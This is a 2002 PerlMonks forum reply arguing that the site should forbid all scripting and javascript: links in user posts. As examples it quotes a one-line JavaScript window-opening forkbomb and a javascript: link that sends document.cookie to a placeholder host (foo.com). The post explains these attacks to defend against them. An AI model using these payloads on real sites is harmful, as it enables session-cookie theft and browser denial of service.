Beefy Boxes and Bandwidth Generously Provided by pair Networks
Clear questions and runnable code
get the best and fastest answer
 
PerlMonks  

Re: Filtering potentially dangerous URI schemas in <a href="...">

by Juerd (Abbot)
on Oct 21, 2002 at 07:06 UTC ( [id://206782]=note: print w/replies, xml ) Need Help??


in reply to Filtering potentially dangerous URI schemas in <a href="...">

I agree. You should really not be able to use any scripting in nodes. Some argue that dangerous links can be protected, but I think that if a link really is dangerous, it should not be a link - give us the URL in plain text, if you have to.

Javascript forkbombs (for(;;) window.open(document.location)) and cookie stealers (<a href="javascript:'http://foo.com/?c='+document.cookie">) are too easy to do, and I don't think PM users should be given the power. There's the ability of using all Javascript you want on home nodes that can sometimes be entertaining, but I think we shouldn't be allowed to do any scripting at all.

- Yes, I reinvent wheels.
- Spam: Visit eurotraQ.

Log In?
Username:
Password:

What's my password?
Create A New User
Domain Nodelet?
Node Status?
node history
Node Type: note [id://206782]
help
Chatterbox?
and the web crawler heard nothing...

How do I use this?Last hourOther CB clients
Other Users?
Others musing on the Monastery: (4)
As of 2024-04-25 16:51 GMT
Sections?
Information?
Find Nodes?
Leftovers?
    Voting Booth?

    No recent polls found